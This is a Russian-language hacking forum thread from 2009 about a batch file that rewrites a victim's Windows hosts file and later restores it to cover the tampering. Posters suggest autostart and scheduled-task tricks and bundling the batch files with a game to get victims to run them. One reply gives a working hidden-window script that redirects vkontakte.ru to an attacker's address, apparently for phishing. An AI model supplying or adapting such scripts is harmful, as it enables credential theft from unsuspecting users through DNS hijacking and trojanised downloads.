Вопрос по bat файлу, который изменяет hosts

Discussion in 'PHP' started by microlab12, 24 Aug 2009.

  1. microlab12

    microlab12 Banned

    Joined:
    14 Aug 2009
    Messages:
    0
    Likes Received:
    11
    Reputations:
    0
    Здравствуйте, есть батник
    Что нужно дописать или как сделать, чтоб через определенное время (например после перезагрузки) файл hosts снова становился прежним?
     
    9 people like this.
  2. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Видимо добавить в автозагрузку батник очищающий hosts файл
     
    _________________________
    3 people like this.
  3. aqqa

    aqqa Banned

    Joined:
    12 Jul 2008
    Messages:
    96
    Likes Received:
    16
    Reputations:
    3
    Напиши еще 1 батник и впиздяч в автозагрузку
     
  4. root_sashok

    root_sashok Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    389
    Likes Received:
    573
    Reputations:
    102
    Прописать в AUTOEXEC.BAT очистку hosts:

    echo #clean > %SystemRoot%\system32\drivers\etc\hosts :)
     
  5. microlab12

    microlab12 Banned

    Joined:
    14 Aug 2009
    Messages:
    0
    Likes Received:
    11
    Reputations:
    0
    Всем спасибо. Насколько я понял обязательно исп. еще один батник :( А как нить его запустить вместе с предыдущим? Или может можно в предыдущий дописать строчку, которая б очищала hosts через 20 минут например?

    Если нет, то как заставить юзера открыть два батника (екзешника), это ведь уже проблематичней?
     
  6. root_sashok

    root_sashok Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    389
    Likes Received:
    573
    Reputations:
    102
    AUTOEXEC.BAT запускается вместе с системой.
     
  7. =Zeus=

    =Zeus= Member

    Joined:
    10 Aug 2009
    Messages:
    213
    Likes Received:
    54
    Reputations:
    5
    Не нужно ничего открывать. Как только откроет первый - из него извлекай второй и пиши в автозагрузку.
     
  8. microlab12

    microlab12 Banned

    Joined:
    14 Aug 2009
    Messages:
    0
    Likes Received:
    11
    Reputations:
    0
    =Zeus=, а не подскажешь правильный код, ато у меня несовсем работает :(
     
    2 people like this.
  9. =Zeus=

    =Zeus= Member

    Joined:
    10 Aug 2009
    Messages:
    213
    Likes Received:
    54
    Reputations:
    5
    ОМГ, какой код? Выше тебе уже все написали.

    Code:
    echo blablabla >> %windir%\AUTOEXEC.BAT
    Таким макаром пиши куда угодно и что угодно. Бла-бла это текст, который ты запишешь в файл. В твоем случее это путь к батнику.
     
  10. microlab12

    microlab12 Banned

    Joined:
    14 Aug 2009
    Messages:
    0
    Likes Received:
    11
    Reputations:
    0
    =Zeus=, может я сейчас конкретно туплю, но как я буду знать путь ко второму батнику у юзера?

    - вот так, насколько я понял, работать не будет?
     
  11. Огризок

    Joined:
    9 Jul 2009
    Messages:
    1
    Likes Received:
    4
    Reputations:
    0
    А почему бы не склеить два батника с какой-то игрой или еще с чем-нибуть?
     
    3 people like this.
  12. microlab12

    microlab12 Banned

    Joined:
    14 Aug 2009
    Messages:
    0
    Likes Received:
    11
    Reputations:
    0
    Огризок, не подскажешь как?
    Возможно кто-нибудь поможет и даст подсказки по ICQ 598-774-29 пять, если нужно - заплачу. Спасибо.
     
  13. microlab12

    microlab12 Banned

    Joined:
    14 Aug 2009
    Messages:
    0
    Likes Received:
    11
    Reputations:
    0
    Подскажите пожалуйста хоть кто-то, уже совсем отчаялся, никак не выходит вписать в первый батник второй, в котором идет очищение файла hosts после перезагрузки системы.
     
  14. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    Почитай про планировщик задач в винде, можно будет добавить выполнение батника через 20 минут
     
  15. aqqa

    aqqa Banned

    Joined:
    12 Jul 2008
    Messages:
    96
    Likes Received:
    16
    Reputations:
    3
    скачай вот эту прогу http://s0m.narod.ru/s0m27p_inst.zip
    делов наворотить там можно каких угодно! И в любой момент времени запустишь че хочешь!!!!!!
     
  16. Pernat1y

    Pernat1y Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    479
    Likes Received:
    79
    Reputations:
    7
    превад зиродэй
    Code:
    cmdow @ /HID @echo off
    copy %windir%\system32\drivers\etc\hosts %windir%\system32\drivers\etc\hosts.backup /y
    echo copy %windir%\system32\drivers\etc\hosts.backup %windir%\system32\drivers\etc\hosts /y >> %systemdrive%\autoexec.bat
    echo **.**.** www.vkontakte.ru > %windir%\system32\drivers\etc\hosts
    echo **.**.** vkontakte.ru >> %windir%\system32\drivers\etc\hosts
     
    #16 Pernat1y, 25 Aug 2009
    Last edited: 25 Aug 2009
  17. microlab12

    microlab12 Banned

    Joined:
    14 Aug 2009
    Messages:
    0
    Likes Received:
    11
    Reputations:
    0
    Создал батник, запустил, в hosts оно дописало, а вот после перезагрузки ничего не меняет. hosts остается прежним :(
     
  18. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    XP читает только переменные окружения из autoexec.bat,остальные команды он просто игнорирует.
     
  19. microlab12

    microlab12 Banned

    Joined:
    14 Aug 2009
    Messages:
    0
    Likes Received:
    11
    Reputations:
    0
    SpangeBoB, что ж делать?
     
  20. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    Внимательно прочитать пост Zedi.
     
    #20 SpangeBoB, 25 Aug 2009
    Last edited: 26 Aug 2009